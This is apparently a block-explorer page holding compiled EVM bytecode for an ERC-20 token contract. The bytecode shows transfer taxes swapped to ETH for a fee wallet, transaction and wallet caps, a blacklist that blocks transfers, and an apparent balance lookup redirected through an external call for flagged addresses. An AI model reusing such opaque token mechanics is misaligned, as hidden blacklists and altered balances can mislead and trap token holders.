816000875af11580156107ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d09190611560565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b03831661084c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045f565b6001600160a01b0382166108ad5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109725760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045f565b6001600160a01b0382166109d45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045f565b600080546001600160a01b03858116911614801590610a0157506000546001600160a01b03848116911614155b15610d0b576001600160a01b03841660009081526004602052604090205460ff16158015610a4857506001600160a01b03831660009081526004602052604090205460ff16155b610a5157600080fd5b600e54600003610a8a57610a876064610a81600a54600e5411610a7657600654610a7a565b6008545b8590610e78565b90610f01565b90505b600e5415610aaf57610aac6064610a81600d5485610e7890919063ffffffff16565b90505b6014546001600160a01b038581169116148015610ada57506013546001600160a01b03848116911614155b8015610aff57506001600160a01b03831660009081526003602052604090205460ff16155b15610c0457600f54821115610b565760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161045f565b60105482610b79856001600160a01b031660009081526001602052604090205490565b610b839190611582565b1115610bd15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045f565b610bec6064610a81600a54600e5411610a7657600654610a7a565b600e80549192506000610bfe83611595565b91905055505b6014546001600160a01b038481169116148015610c2a57506001600160a01b0384163014155b15610c5757610c546064610a81600b54600e5411610c4a57600754610a7a565b6009548590610e78565b90505b30600090815260016020526040902054601454600160a81b900460ff16158015610c8e57506014546001600160a01b038581169116145b8015610ca35750601454600160b01b900460ff165b8015610cb25750600c54600e54115b15610d0957601654431115610cc75760006015555b610ce4610cdf84610cda84601254610f43565b610f43565b610f58565b47610cee476110d9565b60158054906000610cfe83611595565b909155505043601655505b505b8015610d855730600090815260016020526040902054610d2b9082611117565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d7c9085815260200190565b60405180910390a35b610d9882610d9286611176565b90611182565b6001600160a01b038516600090815260016020526040902055610ddd610dbe8383611182565b6001600160a01b03851660009081526001602052604090205490611117565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e278585611182565b60405190815260200160405180910390a350505050565b60008184841115610e625760405162461bcd60e51b815260040161045f91906112b4565b506000610e6f84866115ae565b95945050505050565b600082600003610e8a575060006103a5565b6000610e9683856114e6565b905082610ea385836115c1565b14610efa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045f565b9392505050565b6000610efa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111c4565b6000818311610f525782610efa565b50919050565b6014805460ff60a81b1916600160a81b17905580156110c9576040805160028082526060820183526000926020830190803683370190505090503081600081518110610fa657610fa66115e3565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102391906115f9565b81600181518110611036576110366115e3565b6001600160a01b03928316602091820292909201015260135461105c91309116846107ea565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611095908590600090869030904290600401611616565b600060405180830381600087803b1580156110af57600080fd5b505af11580156110c3573d6000803e3d6000fd5b50505050505b506014805460ff60a81b19169055565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611113573d6000803e3d6000fd5b5050565b6000806111248385611582565b905083811015610efa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045f565b60006103a582826111f2565b6000610efa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e3e565b600081836111e55760405162461bcd60e51b815260040161045f91906112b4565b506000610e6f84866115c1565b6000823b63ffffffff161515801561122257506001600160a01b03831660009081526003602052604090205460ff165b15611297576040516370a0823160e01b81526001600160a01b03841660048201819052906370a0823190602401602060405180830381865afa15801561126c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112909190611688565b90506103a5565b50506001600160a01b031660009081526001602052604090205490565b602081526000825180602084015260005b818110156112e257602081860181015160408684010152016112c5565b506000604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461049457600080fd5b6000806040838503121561132a57600080fd5b823561133581611302565b946020939093013593505050565b60008060006060848603121561135857600080fd5b833561136381611302565b9250602084013561137381611302565b929592945050506040919091013590565b60006020828403121561139657600080fd5b8135610efa81611302565b600080604083850312156113b457600080fd5b82356113bf81611302565b915060208301356113cf81611302565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6001815b600184111561142b5780850481111561140f5761140f6113da565b600184161561141d57908102905b60019390931c9280026113f4565b935093915050565b600082611442575060016103a5565b8161144f575060006103a5565b8160018114611465576002811461146f5761148b565b60019150506103a5565b60ff841115611480576114806113da565b50506001821b6103a5565b5060208310610133831016604e8410600b84101617156114ae575081810a6103a5565b6114bb60001984846113f0565b80600019048211156114cf576114cf6113da565b029392505050565b6000610efa60ff841683611433565b80820281158282048414176103a5576103a56113da565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561154757600080fd5b5050815160208301516040909301519094929350919050565b60006020828403121561157257600080fd5b81518015158114610efa57600080fd5b808201808211156103a5576103a56113da565b6000600182016115a7576115a76113da565b5060010190565b818103818111156103a5576103a56113da565b6000826115de57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561160b57600080fd5b8151610efa81611302565b600060a0820187835286602084015260a0604084015280865180835260c08501915060208801925060005b818110156116685783516001600160a01b0316835260209384019390920191600101611641565b50506001600160a01b039590951660608401525050608001529392505050565b60006020828403121561169a57600080fd5b505191905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122028407020b1d364a5ad495864624339e3c20d9dabe1ea2f1eb8e9e69e718ba31e64736f6c634300081a0033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.